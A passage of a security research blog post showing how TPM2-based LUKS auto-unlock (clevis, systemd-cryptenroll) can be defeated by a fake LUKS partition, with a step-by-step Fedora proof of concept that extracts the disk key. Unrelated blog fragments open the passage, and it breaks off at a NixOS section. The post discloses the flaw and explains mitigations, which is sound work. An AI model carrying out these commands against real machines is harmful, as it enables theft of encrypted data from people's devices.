extension could show/hide the button appropriately.Note: Speaking of which, here is the public-facing, read-only database!After all was said and done, I reached out to a few fellow BW enjoyers to put the subtitles to the test. The intention was to judge the quality of the translation process and to see if the subtitles worked well on YouTube. We hopped on a Voice Chat, I streamed my screen, and we started watching a 13-minute long video.About 5 minutes in, I had to pause the video and take a step back. As it turns out, the group had been watching the video, and reading the subtitles, yes — but we also had been making comments among ourselves, replaying short clips from the video, pausing it to discuss… and in the middle of it all, we had forgotten what we were originally trying to do: evaluating the quality of the subtitles.Needless to say, the subtitles passed the test. :)One sneaky aspect of this project that worked well in my favor is that performance is not critical, nor is scale, or latency, or anything else that most software projects often deal with. Most of what I did was glue already-existing solutions together. The custom business logic (the UserScript, and the Python code in the Colab notebook) is short, and effortlessly maintainable. The web server is the simplest production CRUD system ever, and I see no reason for it to ever grow in complexity in any significant way.It’s the jankiest project I have shipped, and I love it.
As is inevitable, I already shot myself in the foot, causing a build error on all projects simultaneously. Fortunately, I was able to diagnose the issue and ultimately fix it in ~1 hour, with no prior knowledge whatsoever.
Context
I cloned the project repo, installed Visual Studio 2013, and registered
Here is the list of all resources I will be using.
Software
While Linux is my OS of choice for development, it is only experimentally supported, not officially so. Furthermore, the SDK must have been developed in Windows (for Windows) originally, which gives me confidence in getting it installed and
This blog documents my journey learning how to build a game using VALVe’s Source Engine.
About this blog
My goals with this journey are:
1. To spend the next year using Source regularly (at least once a week); 2. To document all the problems and their corresponding solutions,
...
Read the original on blog.sourcedive.net »
Have you setup automatic disk unlocking with TPM2 and
systemd-cryptenroll or clevis? Then chances are high that your disk can be decrypted by an attacker who just has brief physical access to your machine - with some preparation, 10 minutes will suffice. In this article we will explore how TPM2 based disk decryption works, and understand why many setups are vulnerable to a kind of filesystem confusion attack. We will follow along by exploiting two different real systems (Fedora + clevis, NixOS + systemd-cryptenroll).# Examples commands used to enroll a key into the TPM. Whether your system is # suffers from this issue does not depend on which PCRs you choose here. systemd-cryptenroll –tpm2-pcrs=0+2+7 –tpm2-device=auto
TL;DR: Most TPM2 unlock setups fail to verify the LUKS identity of the decrypted partition. Since the initrd must reside in an unencrypted boot partition, an attacker can inspect it to learn how it decrypts the disk and also what type of filesystem it expects to find inside. By recreating the LUKS partition with a known key, we can confuse the initrd into executing a malicious
init executable. Since the TPM state will not be altered in any way by this fake partition, the original LUKS key can be unsealed from the TPM. Afterwards, the initial disk state can be fully restored and then decrypted using the obtained key.
You are safe if you additionally use a pin to unlock your TPM, or use an initrd that properly asserts the LUKS identity (which would involve manual work, so you’d probably know if that is the case).
The idea behind secure and password-less disk decryption is that the TPM2 can store an additional LUKS key which your system can only retrieve, if the TPM is in a predetermined, known-good state. This state is recorded in the so-called Platform Configuration Registers (PCRs), of which there are 24 in a standard compliant TPM. Their intended use is described in the Linux TPM PCR Registry but also neatly summarized as a table in the systemd-cryptenroll(1) man page.
These registers store hashes which are successively updated while booting based on information like the bootlaoder hash, the firmware in use, the booted kernel, initrd image and a lot more things. By establishing a chain of trust through all components involved in booting up to the linux userspace, we can ensure that altering any component will affect one or several PCRs. Storing data in the TPM requires you to select a list of PCRs and it will ensure that the data can only be retrieved again if all of these PCRs are in the same state as when enrolling the secret.
Several of these registers have an agreed-upon purpose and are updated with some specific information about your system, such as your board’s firmware, your BIOS configuration, OptionROMs (extra firmware loaded from external devices such as PCIe devices after POST), the secure boot policy, or other things. Here’s an excerpt from the man page from above containing some of the registers that are important to us:ExplanationSecure Boot state; changes when UEFI SecureBoot mode is
enabled/disabled, or firmware certificates (PK, KEK, db, dbx, …)
changes.systemd-cryptsetup(8) optionally measures the volume key of
activated LUKS volumes into this PCR. systemd-pcrmachine.service(8)
measures the machine-id(5) into this PCR. systemd-pcrfs@.service(8)
measures mount points, file system UUIDs, labels, partition UUIDs
of the root and /var/ filesystems into this PCR.
Below this list, an interesting piece of information is given in the man page about the intended use of PCRs for encrypted volumes:In general, encrypted volumes would be bound to some combination of PCRs 7, 11, and 14 (if shim/MOK is used). In order to allow firmware and OS version updates, it is typically not advisable to use PCRs such as 0 and 2, since the program code they cover should already be covered indirectly through the certificates measured into PCR 7. Validation through certificates hashes is typically preferable over validation through direct measurements as it is less brittle in context of OS/firmware updates: the measurements will change on every update, but signatures should remain unchanged. See the Linux TPM PCR Registry for more discussion.
If you enroll your own secure boot keys and use a Unified Kernel Image (UKI), then using just PCR 7 will be sufficient to ensure integrity up to the point where we need to unlock our disk. Some distributions instead ship EFI executables that are pre-signed with the Microsoft keys, which allows them to enable secure boot by default without requiring the user to generate and enroll anything on their own. Since this also means that the user cannot sign their kernel and/or initrd image, a trusted and pre-signed shim is often used to measure the hash of the kernel and initrd before executing them into PCR 9, which we would want to use in that case. Another approach is to have the user generate a so-called Machine Owner Key (MOK) if they want to sign something, in which case PCR 14 should be used, too.
So the exact PCR selection may change a bit depending on the user’s setup. A quick search on GitHub or on the internet reveals that many people still opt to use additional PCRs like 0 and 2 in addition to 7, which is of course fine but may result in keys becoming inaccessible when the BIOS or some firmware is updated - which can be annoying.
If you already have secure boot set up, configuring TPM2 unlock for your LUKS partition is usually very simple. Most guides will resort to systemd-cryptenroll or clevis
which are different implementations that internally do some variation of the following:Seal this key in your TPM based on your selection of PCRsStore the encrypted TPM context in the LUKS token metadata
which is required to unseal the secret at a later point in
time
Both clevis and systemd-cryptenroll
can store tokens in other ways than a TPM2, for example using a FIDO2 key. I found that clevis also supports retrieving tokens from network resources, but other than that the two tools are very similar in what they do.
systemd-cryptenroll just comes pre-packaged with
systemd so it is usually a bit simpler to use. Here is an example:systemd-cryptenroll –tpm2-pcrs=7 –tpm2-device=auto /dev/nvme0n1p3
In theory, the disk is now properly protected, assuming the kernel command line cannot be edited, right? It can only be decrypted if PCR 7 is unchanged, and anything we would do to the bootloader, kernel or initrd would affect PCR 7.
Well, of course, I wouldn’t be asking if there wasn’t a tiny caveat: Assuming all disks were mounted properly, the initrd can be certain that no code has been modified up to this point. But it does not automatically ensure that the data on them is authentic. As the very last step, the initrd will execute the
init executable of the real system, which usually doesn’t undergo any kind of signature check before it is executed. And why would it have to - after all it is part of the encrypted root partition which cannot be altered by an attacker.
First of all, it is important to know that the initrd will fall back to a password prompt, if TPM unlocking fails for whatever reason. A BIOS update could always cause the secure boot database to be altered (thus invalidating PCR 7), or somebody makes a mistake when updating the system and forgets to sign the kernel and initrd properly. In such a case you don’t want to be locked out from your system completely, so asking for the password is a sane thing to do.
But that also means if we replace the encrypted partition with a new LUKS partition (for which we choose the password), then the TPM decryption will fail and we will be asked for the password, which we control. After entering the password, the initrd will now think it has decrypted the partition correctly and proceed. If we manage to put the correct kind of filesystem inside of our fake LUKS partition so that the actual mounting succeeds, we can ship a malicious init binary that now has full access to the unlocked TPM, thus allowing us to decrypt the original filesystem, which we would have to backup before creating our malicious partition.
Now you might think the initrd can simply verify the filesystem UUID before mounting it since we cannot read it from the disk, but remember that anything the initrd knows is public knowledge, as the boot partition and initrd image are not encrypted. So we can just reuse the same LUKS UUID and filesystem UUID if necessary.
To solve this, we need to be able to authenticate all encrypted volumes before accessing any file on them. In this
article by Lennart Poettering from October 2022, where he describes the state of secure boot in systemd, he mentions how the process should look like to make the system secure. It is a bit involved so let me reiterate the important part.
After a disk has been unlocked, we want to derive a value from its volume key (the master key used to encrypt all its data) and use this value to extend PCR 15. This ensures that any fake volume would change this value since the original volume key cannot be known. Using systemd-cryptsetup instead of
cryptsetup can already take care of this by adding
tpm2-measure-pcr=yes to the crypttab file.
If we now ensure that the disk decryption order is deterministic, then we can compare the value in PCR 15 against a known and signed value in the initrd. If the wrong value is observed, the initrd can now abort the boot process before executing anything malicious.
There are loads of guides that describe in more detail how to setup TPM2 based disk unlocking, and while the concept is always the same, you will certainly find one adjusted to your favorite distribution. Here’s a list of guides that I found online, sorted by date:[HowTo] Using Secure Boot and TPM2 to unlock LUKS partition on
boot (2024/01, Manjaro, systemd-cryptenroll)The
ultimate guide to Full Disk Encryption with TPM and Secure Boot
(2022/04, Debian, tpm2-initramfs-tool)
Unfortunately, I did not find any guide that addresses this, so most user setups are probably suffering from this issue. Though in all fairness, whether this is an issue to you obviously depends on your threat model. If you are using the TPM just to unlock your home server which nobody else has physical access to, then maybe this is a non-issue to you. But if you use this to protect the data on your laptop against theft, then chances are you want to set a TPM pin or implement PCR 15 verification as explained above.
Notably, I found that the ArchWiki entry of systemd-cryptenroll
acknowledges this issue in a warning near the end of the article:Only binding to PCRs measured pre-boot (PCRs 0-7) opens a vulnerability from rogue operating systems. A rogue partition with metadata copied from the real root filesystem (such as partition UUID) can mimic the original partition. Then, initramfs will attempt to mount the rogue partition as the root filesystem (decryption failure will fall back to password entry), leaving pre-boot PCRs unchanged. The rogue root filesystem with files controlled by an attacker is still able to receive the decryption key for the real root partition. See Brave New Trusted Boot World and BitLocker documentation for additional information.
And while this is correct, just using any of the PCRs 8-23 doesn’t automatically protect your data either. The initrd still has to ensure that the respective PCR is changed before executing the system’s init binary, which is not done by default.
Now, let’s have a look at a real system which we will setup in a similar way to how anyone else would have done it. I’ve picked one of the Fedora articles above, but you can expect this to work for all of the other distributions, too. In summary, my setup included the following steps:Enable secure boot in the BIOS (and install the Microsoft keys
since Fedora is signed with those keys)
An interesting thing we notice right away is that the Fedora bootloader is signed using the Microsoft keys. We’ve already briefly talked about this in the beginning, this means it cannot sign the initrd at all. Instead, they have a signed shim that is executed after the bootloader which will calculate hashes of the kernel and initrd and extend PCR 9 with those values. Therefore, it is critical that we now include PCR 9 in our selection when enrolling the key to the TPM, otherwise the initrd could just be modified.
This approach has the advantage that the user doesn’t have to deal with custom secure boot keys, but the downside is that every kernel or initrd update will affect the value in PCR 9, thus requiring us to re-enroll the key after rebooting on each system update. Here is a snapshot of my PCRs when I enrolled the key into the TPM. This is also the state that we need to reach later to succeed.[root@localhost]# systemd-analyze pcrs NR NAME SHA256 0 platform-code 8c2af609e626cc1687f66ea6d0e1a3605a949319514a26e7e1a90d6a35646fa5 1 platform-config 299b0462537a9505f6c63672b76a3502373c8934f08a921e1aa50d3adf4ba83d 2 external-code 3d458cfe55cc03ea1f443f1562beec8df51c75e14a9fcf9a7234a13f198e7969 3 external-config 3d458cfe55cc03ea1f443f1562beec8df51c75e14a9fcf9a7234a13f198e7969 4 boot-loader-code 5fdbd66c267bd9513dbc569db0b389a37445e1aa463f9325ea921563e7fb37eb 5 boot-loader-config 38a281376260137602e5c70f7a9057e4c55830d22a02bb5a66013d6ac2576d2f 6 host-platform 3d458cfe55cc03ea1f443f1562beec8df51c75e14a9fcf9a7234a13f198e7969 7 secure-boot-policy 4770a4fb1dac716feaddd77fec9a28bb2015e809a34add1a9d417eec36ec1e17 8 - e3e23c0da36fa31767885aec7aee3180fb2f5e0b67569c3a82c2a1c3ca88a651 9 kernel-initrd 091f6917b0c8788779f4d410046250e6747043a8cd1bd75bf90713cc6de30d99 10 ima 2566bdf57c3aa880f7b0c480f479c0a88e0e72ae7ef3c1888035e7238bbe9257 11 kernel-boot 0000000000000000000000000000000000000000000000000000000000000000 12 kernel-config 0000000000000000000000000000000000000000000000000000000000000000 13 sysexts 0000000000000000000000000000000000000000000000000000000000000000 14 shim-policy 17cdefd9548f4383b67a37a901673bf3c8ded6f619d36c8007562de1d93c81cc 15 system-identity 0000000000000000000000000000000000000000000000000000000000000000 16 debug 0000000000000000000000000000000000000000000000000000000000000000 17 - ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 18 - ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 19 - ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 20 - ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 21 - ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 22 - ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 23 application-support 0000000000000000000000000000000000000000000000000000000000000000
Now, let’s pretend we don’t know anything about the system and that we just obtained physical access to the machine, which was powered-off.
We start by taking the main disk out and putting it into our machine. You may also be able to boot a Fedora or Debian live image, if the owner has not wiped the Microsoft keys from their BIOS in favor of their own. Once booted, we start investigating the disk layout and partitions:[root@localhost]# blkid /dev/nvme0n1p1: LABEL_FATBOOT=“EFI” LABEL=“EFI” UUID=“E2AA-BB8B” BLOCK_SIZE=“512″ TYPE=“vfat” PARTLABEL=“EFI System Partition” PARTUUID=“b9cd5e99-00ec-45e8-be33-72809ae30602” /dev/nvme0n1p2: LABEL=“boot” UUID=“d0a1796a-5c1e-446f-8b70-2910d094d195” BLOCK_SIZE=“4096″ TYPE=“ext4” PARTUUID=“e5cc6afa-285b-4bc6-8fb1-a6c5344d20a9″ /dev/nvme0n1p3: UUID=“779328d5-00ca-4ade-be44-6daa549642ed” TYPE=“crypto_LUKS” PARTUUID=“4e73c89f-3840-458a-ada6-0f5349ab36e1”
We take a quick peek at the encrypted partition, which is our main target:[root@localhost]# cryptsetup luksDump /dev/nvme0n1p3 LUKS header information Version: 2 Epoch: 9 Metadata area: 16384 [bytes] Keyslots area: 16744448 [bytes] UUID: 779328d5-00ca-4ade-be44-6daa549642ed # […] Tokens: 0: clevis Keyslot: 1 # […]
We can already see that the system owner has used
clevis to configure the automated unlocking. What we want to find for now is the initrd and kernel command line, so some GRUB or systemd-boot configuration file. Since Fedora uses pre-signed images, the EFI partition will only contain the loader and shim, which shouldn’t contain any information about the actual system. But the boot partition /dev/nvme0n1p2 looks promising, so let’s mount it and see what we find:[root@localhost]# mount /dev/nvme0n1p2 /mnt/boot [root@localhost]# ls -l /mnt/boot total 222500 dr-xr-xr-x. 6 root root 4096 Jan 13 23:09 ./ dr-xr-xr-x. 19 root root 4096 Jan 13 23:06 ../ -rw-r–r–. 1 root root 277997 Oct 20 02:00 config-6.11.4-301.fc41.x86_64 drwx–––. 3 root root 4096 Jan 1 1970 efi/ drwx–––. 3 root root 4096 Jan 13 23:10 grub2/ -rw–––-. 1 root root 139254374 Jan 13 23:09 initramfs-0-rescue-868c201e807541caacd6fa6b32d5ba2e.img -rw–––-. 1 root root 45514433 Jan 14 00:54 initramfs-6.11.4-301.fc41.x86_64.img drwxr-xr-x. 3 root root 4096 Jan 13 23:06 loader/ drwx–––. 2 root root 16384 Jan 13 23:05 lost+found/ -rw-r–r–. 1 root root 182584 Jan 13 23:09 symvers-6.11.4-301.fc41.x86_64.xz -rw-r–r–. 1 root root 9968458 Oct 20 02:00 System.map-6.11.4-301.fc41.x86_64 -rwxr-xr-x. 1 root root 16296296 Jan 13 23:08 vmlinuz-0-rescue-868c201e807541caacd6fa6b32d5ba2e* -rwxr-xr-x. 1 root root 16296296 Oct 20 02:00 vmlinuz-6.11.4-301.fc41.x86_64* -rw-r–r–. 1 root root 161 Oct 20 02:00 .vmlinuz-6.11.4-301.fc41.x86_64.hmac
Great! There are the kernel and initrd images plus a
loader/ directory containing some GRUB entry configurations. We will take a look at those configuration files first:[root@localhost]# ls -l /mnt/boot/loader/entries -rw-r–r–. 1 root root 445 Jan 13 23:10 868c201e807541caacd6fa6b32d5ba2e-0-rescue.conf -rw-r–r–. 1 root root 369 Jan 13 23:10 868c201e807541caacd6fa6b32d5ba2e-6.11.4-301.fc41.x86_64.conf [root@localhost]# cat /boot/loader/entries/868c201e807541caacd6fa6b32d5ba2e-6.11.4-301.fc41.x86_64.conf title Fedora Linux (6.11.4-301.fc41.x86_64) 41 (Server Edition) version 6.11.4-301.fc41.x86_64 linux /vmlinuz-6.11.4-301.fc41.x86_64 initrd /initramfs-6.11.4-301.fc41.x86_64.img options root=UUID=1a887df4-286d-4842-bd66-d8993e8596d2 ro rd.luks.uuid=luks-779328d5-00ca-4ade-be44-6daa549642ed rhgb quiet grub_users $grub_users grub_arg –unrestricted grub_class fedora
Wow, this is looks like we already found all the important information! Judging from the commandline syntax, this is likely an initrd that was generated by dracut. There seems to be a LUKS encrypted partition with UUID
779328d5-00ca-4ade-be44-6daa549642ed and a root file system with UUID 1a887df4-286d-4842-bd66-d8993e8596d2, which is certainly inside of the LUKS partition. The type of filesystem is not specified, so we are free to choose anything that is supported by the initramfs for our fake.
In theory, we’d need to find out one additional thing - the binary that will be called by the initrd when it want’s to switch to the real system. But the chances are very high that it is
/sbin/init (this is not the case on all systems though, see the NixOS PoC below for an example). If our assumption doesn’t work out, we can still double check by extracting the initrd later.
In order to confuse the initrd, we now need to:Backup the original LUKS parition so we can later decrypt
itReplace the LUKS partition with a fake LUKS partition that has
the UUID 779328d5-00ca-4ade-be44-6daa549642edThis LUKS partition must contain a filesystem with UUID
1a887df4-286d-4842-bd66-d8993e8596d2The inner filesystem contains a /sbin/init binary
that does what we want
We may actually only backup the first few megabytes of the original LUKS partition and make sure our fake partition is exactly the same size as our backup. By overwriting just the beginning in this way we don’t have to do a full disk backup, which would otherwise take a very long time and would require us to bring a spare disk with us.
[root@localhost]# dd if=/dev/nvme0n1p3 of=/boot/luks-original.bak bs=64M count=1
We’ll abuse the free space on the boot partition to store this backup, which makes it easy to access later. If you don’t want to tamper too much with the original disk, you can of course use a small thumb drive.
Next, we create a 64MB file in which we will prepare our partition. The size is a bit arbitrary, it just needs to cover the LUKS and inner filesystem header and must fit our exploit binary. So we initialize a new LUKS partition with the UUID from above, and then open it and format its contents with
ext4:[root@localhost]# truncate -s 64MB /root/fakeluks [root@localhost]# cryptsetup luksFormat /root/fakeluks –key-file
Now we could theoretically prepare a tiny binary that directly extracts the key from the TPM, but it’s far simpler just put a minimal Alpine image there and install the necessary tools to do that manually. This will also easily fit into 64MB. Let’s proceed by preparing the Alpine filesystem:[root@localhost]# cd /mnt/root [root@localhost]# wget https://dl-cdn.alpinelinux.org/alpine/v3.21/releases/x86_64/alpine-minirootfs-3.21.2-x86_64.tar.gz [root@localhost]# tar xvf alpine-minirootfs-3.21.2-x86_64.tar.gz [root@localhost]# rm alpine-minirootfs-3.21.2-x86_64.tar.gz [root@localhost]# cat /etc/resolv.conf > /mnt/root/etc/resolv.conf # Just for DNS resolution at this moment, so we can install packages in the chroot [root@localhost]# chroot /mnt/root /sbin/apk add \ # Install some tools that we need tpm2-tools tpm2-tss-tcti-device jose cryptsetup [root@localhost]# wget -O /mnt/root/bin/clevis-decrypt-tpm \ “https://raw.githubusercontent.com/latchset/clevis/0839ee294a2cbb0c1ecf1749c9ca530ef9f59f8f/src/pins/tpm2/clevis-decrypt-tpm2” [root@localhost]# chmod +x /mnt/root/bin/clevis-decrypt-tpm # Helper to retrieve password from TPM2 [root@localhost]# sed -i ‘s/root:x/root:/’ /mnt/root/etc/passwd # Remove root password
Finally, we unmount our fake filesystem and overwrite the first
64MB of the original partition with it, then put the disk back into the original machine and reboot:[root@localhost]# umount /mnt/root [root@localhost]# cryptsetup close /dev/mapper/fakeluks [root@localhost]# sync [root@localhost]# dd if=/root/fakeluks of=/root/luks-original.bak bs=64M count=1
We will now be asked for the LUKS password we just set, since the automatic decryption will obviously not trigger on our fake partition, which has no token metadata. After entering our password from above, we are greeted by the Alpine image. We can login as
root without a password:Welcome to Alpine Linux 3.21 Kernel 6.11.4-301.fc41.x86_64 on an x86_64 (/dev/tty1)
localhost login: root Welcome to Alpine!
localhost:~#
Now let’s check whether any of the PCRs was affected by our operation:localhost:~# tpm2_pcrread sha1: sha256: 0 : 0x8C2AF609E626CC1687F66EA6D0E1A3605A949319514A26E7E1A90D6A35646FA5 1 : 0x299B0462537A9505F6C63672B76A3502373C8934F08A921E1AA50D3ADF4BA83D 2 : 0x3D458CFE55CC03EA1F443F1562BEEC8DF51C75E14A9FCF9A7234A13F198E7969 3 : 0x3D458CFE55CC03EA1F443F1562BEEC8DF51C75E14A9FCF9A7234A13F198E7969 4 : 0x5FDBD66C267BD9513DBC569DB0B389A37445E1AA463F9325EA921563E7FB37EB 5 : 0x38A281376260137602E5C70F7A9057E4C55830D22A02BB5A66013D6AC2576D2F 6 : 0x3D458CFE55CC03EA1F443F1562BEEC8DF51C75E14A9FCF9A7234A13F198E7969 7 : 0x4770A4FB1DAC716FEADDD77FEC9A28BB2015E809A34ADD1A9D417EEC36EC1E17 8 : 0xE3E23C0DA36FA31767885AEC7AEE3180FB2F5E0B67569C3A82C2A1C3CA88A651 9 : 0x091F6917B0C8788779F4D410046250E6747043A8CD1BD75BF90713CC6DE30D99 10: 0x2566BDF57C3AA880F7B0C480F479C0A88E0E72AE7EF3C1888035E7238BBE9257 11: 0x0000000000000000000000000000000000000000000000000000000000000000 12: 0x0000000000000000000000000000000000000000000000000000000000000000 13: 0x0000000000000000000000000000000000000000000000000000000000000000 14: 0x17CDEFD9548F4383B67A37A901673BF3C8DED6F619D36C8007562DE1D93C81CC 15: 0x0000000000000000000000000000000000000000000000000000000000000000 16: 0x0000000000000000000000000000000000000000000000000000000000000000 17: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF 18: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF 19: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF 20: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF 21: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF 22: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF 23: 0x0000000000000000000000000000000000000000000000000000000000000000 sha384: sm3_256:
The output format is slightly different to that of
systemd-analyze pcrs, but we can see that all values are the same as in the real system. Some boards may have different values in PCR 1 after every power cycle, but don’t worry, in that case you can be sure that the owner didn’t use it either. So this means our attack was successful! We can now go ahead and retrieve the volume key of the original partition.
By quickly skimming the clevis source we find that it stores a JWE token in the LUKS header, which contains an encrypted secondary key to unlock the partition. It also contains some metadata required to have it decrypted by the TPM, like which PCRs have to be used in the TPM context. Back when we inspected the LUKS header, we found the clevis token in slot 0, so let’s first extract this token:localhost:~# mount -o remount,rw / # This alpine image is not writable by default localhost:~# mount /dev/nvme0n1p1 /mnt localhost:~# cryptsetup token export –token-id 0 /mnt/luks-original.bak | tee token.json {
“type”: “clevis”, “keyslots”: [ “1″ ], “jwe”: { “ciphertext”: “hNNirkMsfcEWcVKfTFCY3JKNCk0x-8P4svgzkeulNhHnuaOdFQ4YfOCUUX9pkWvonfE2uivS”, “encrypted_key”: “”, “iv”: “5zuFP0kEuqiCh0QL”, “protected”: “eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU2R0NNIiwiY2xldmlzIjp7InBpbiI6InRwbTIiLCJ0cG0yIjp7Imhhc2giOiJzaGEyNTYiLCJqd2tfcHJpdiI6IkFOMEFJRXFpblRfb3Y5cTZHVFo3TU1TcW0tUXgzT1RNaEN6ZTVTUUxRTDhDbGNoakFCQ3Z5Tldyd2lZalRaVzZUNG1rSjd4UF9CeDlCa2N0UXFFZzF6eUZ4aTdMcTRBWTcxWnpGOEVrano3QmRlVWZ3TV9PT2pOdGVGcmZFdUItQzRONGRhWDZ0VHk3RTBrc3BuS3luN3VRQ0p6VDVrcU4yYkpPM0FGTEpwbG1JNWxseXhVdHNQZmRSamhSTFUyWXN6V2Fvay1VQlZsNGtuOWNHTUZCNFdZQmFHd01oM0QwZjF1TjdQUVV4cGx6bWtRSmQzX1FRUGZBM3VNMDZRcXY4OU14STVCc3dra3FiWEhSVmhNNFVCOXNLcjd0dzgzVkFFdXpzZ3c5OXciLCJqd2tfcHViIjoiQUU0QUNBQUxBQUFFa2dBZ2d1X2RMZTk2Z0dyRkZycWw2NXltWG5DQ1RMWWVMYXFkQ0NfSkRRa0R4M01BRUFBZ1UwVFhKaXZhaTVuWVNONGNUT05lNkNJR0djX2ZGbDd6ZlNsNUZuOTFvU0kiLCJrZXkiOiJlY2MiLCJwY3JfYmFuayI6InNoYTI1NiIsInBjcl9pZHMiOiI0LDUsNyw5In19fQ”, “tag”: “7DIhyL_ZNocrUHTPr1PQWg” } }
Clevis would then proceed to extract a JWE token and hand it to
clevis-decrypt-tpm2 which decrypts it using the TPM, so we replicate the procedure:# Get the contents of the .jwe field localhost:~# jose fmt -j token.json -Og jwe -o- | tee jwe.json {
“ciphertext”: “hNNirkMsfcEWcVKfTFCY3JKNCk0x-8P4svgzkeulNhHnuaOdFQ4YfOCUUX9pkWvonfE2uivS”, “encrypted_key”: “”, “iv”: “5zuFP0kEuqiCh0QL”, “protected”: “eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU2R0NNIiwiY2xldmlzIjp7InBpbiI6InRwbTIiLCJ0cG0yIjp7Imhhc2giOiJzaGEyNTYiLCJqd2tfcHJpdiI6IkFOMEFJRXFpblRfb3Y5cTZHVFo3TU1TcW0tUXgzT1RNaEN6ZTVTUUxRTDhDbGNoakFCQ3Z5Tldyd2lZalRaVzZUNG1rSjd4UF9CeDlCa2N0UXFFZzF6eUZ4aTdMcTRBWTcxWnpGOEVrano3QmRlVWZ3TV9PT2pOdGVGcmZFdUItQzRONGRhWDZ0VHk3RTBrc3BuS3luN3VRQ0p6VDVrcU4yYkpPM0FGTEpwbG1JNWxseXhVdHNQZmRSamhSTFUyWXN6V2Fvay1VQlZsNGtuOWNHTUZCNFdZQmFHd01oM0QwZjF1TjdQUVV4cGx6bWtRSmQzX1FRUGZBM3VNMDZRcXY4OU14STVCc3dra3FiWEhSVmhNNFVCOXNLcjd0dzgzVkFFdXpzZ3c5OXciLCJqd2tfcHViIjoiQUU0QUNBQUxBQUFFa2dBZ2d1X2RMZTk2Z0dyRkZycWw2NXltWG5DQ1RMWWVMYXFkQ0NfSkRRa0R4M01BRUFBZ1UwVFhKaXZhaTVuWVNONGNUT05lNkNJR0djX2ZGbDd6ZlNsNUZuOTFvU0kiLCJrZXkiOiJlY2MiLCJwY3JfYmFuayI6InNoYTI1NiIsInBjcl9pZHMiOiI0LDUsNyw5In19fQ”, “tag”: “7DIhyL_ZNocrUHTPr1PQWg” }
# Convert this format into the actual JWE token format localhost:~# jose jwe fmt -i jwe.json -c | tee token.txt eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU2R0NNIiwiY2xldmlzIjp7InBpbiI6InRwbTIiLCJ0cG0yIjp7Imhhc2giOiJzaGEyNTYiLCJqd2tfcHJpdiI6IkFOMEFJRXFpblRfb3Y5cTZHVFo3TU1TcW0tUXgzT1RNaEN6ZTVTUUxRTDhDbGNoakFCQ3Z5Tldyd2lZalRaVzZUNG1rSjd4UF9CeDlCa2N0UXFFZzF6eUZ4aTdMcTRBWTcxWnpGOEVrano3QmRlVWZ3TV9PT2pOdGVGcmZFdUItQzRONGRhWDZ0VHk3RTBrc3BuS3luN3VRQ0p6VDVrcU4yYkpPM0FGTEpwbG1JNWxseXhVdHNQZmRSamhSTFUyWXN6V2Fvay1VQlZsNGtuOWNHTUZCNFdZQmFHd01oM0QwZjF1TjdQUVV4cGx6bWtRSmQzX1FRUGZBM3VNMDZRcXY4OU14STVCc3dra3FiWEhSVmhNNFVCOXNLcjd0dzgzVkFFdXpzZ3c5OXciLCJqd2tfcHViIjoiQUU0QUNBQUxBQUFFa2dBZ2d1X2RMZTk2Z0dyRkZycWw2NXltWG5DQ1RMWWVMYXFkQ0NfSkRRa0R4M01BRUFBZ1UwVFhKaXZhaTVuWVNONGNUT05lNkNJR0djX2ZGbDd6ZlNsNUZuOTFvU0kiLCJrZXkiOiJlY2MiLCJwY3JfYmFuayI6InNoYTI1NiIsInBjcl9pZHMiOiI0LDUsNyw5In19fQ..5zuFP0kEuqiCh0QL.hNNirkMsfcEWcVKfTFCY3JKNCk0x-8P4svgzkeulNhHnuaOdFQ4YfOCUUX9pkWvonfE2uivS.7DIhyL_ZNocrUHTPr1PQWg
# Use the clevis-decrypt-tpm2 script to decrypt it with the TPM2 localhost:~# cat token.txt | tr -d ‘\n’ | clevis-decrypt-tpm2 4yurbtxybpBwHBi2O2Kea1vDmhjDRt6yudAKYXinsiI3EUSjwYhwZA
Awesome! We got a password out of it, which is the password
clevis originally added to the LUKS partition and which can be used to unlock it! Let’s also dump the volume key for future “safekeeping” 🤡:[root@localhost]# cryptsetup luksDump /mnt/luks-original.bak –dump-volume-key –volume-key-file volume-key.txt \ –key-file
At this point we only have to restore the partition to its original state and decrypt the real partition. We can either reboot into a live system (possible if the Microsoft keys are still in the secure boot database) or put the disk back into a system we control. Finally, we can mount the encrypted disk to have a look inside:[root@localhost]# dd if=/mnt/luks-original.bak of=/dev/nvme0n1p3 bs=64M count=1 [root@localhost]# cryptsetup luksOpen /dev/nvme0n1p3 original \ –key-file
Success! Apart from researching all of the tools and their internals this has been a rather simple process. I would even claim that with some preparation we can repeat this reliably in under 10 minutes. All it takes is two disk swaps and a few reboots.
Finally I can rest easy knowing that my roommate can make a surprise backup of my server’s data while I’m away 🎉. A solid 3-2-1(+1) strategy.
This will be very similar to the previous PoC, so I skipped a lot of the boilerplate this time. If you are not specifically interested in NixOS or systemd-cryptenroll, you can jump to the next section by clicking here.
Secure boot on NixOS is currently implemented by the awesome
lanzaboote
project, which does some things differently than what we just saw on Fedora. Most notably we will enroll our own secure boot keys (and can wipe the microsoft keys), our kernel and initrd will both be fully signed as a UKI image and systemd-boot will not allow you to edit the command line. Another small difference to the Fedora setup is that we will use systemd-cryptenroll instead of clevis.
In any case, the overall exploitation will be very similar, the NixOS initrd also doesn’t verify LUKS identities (as of January 2025).
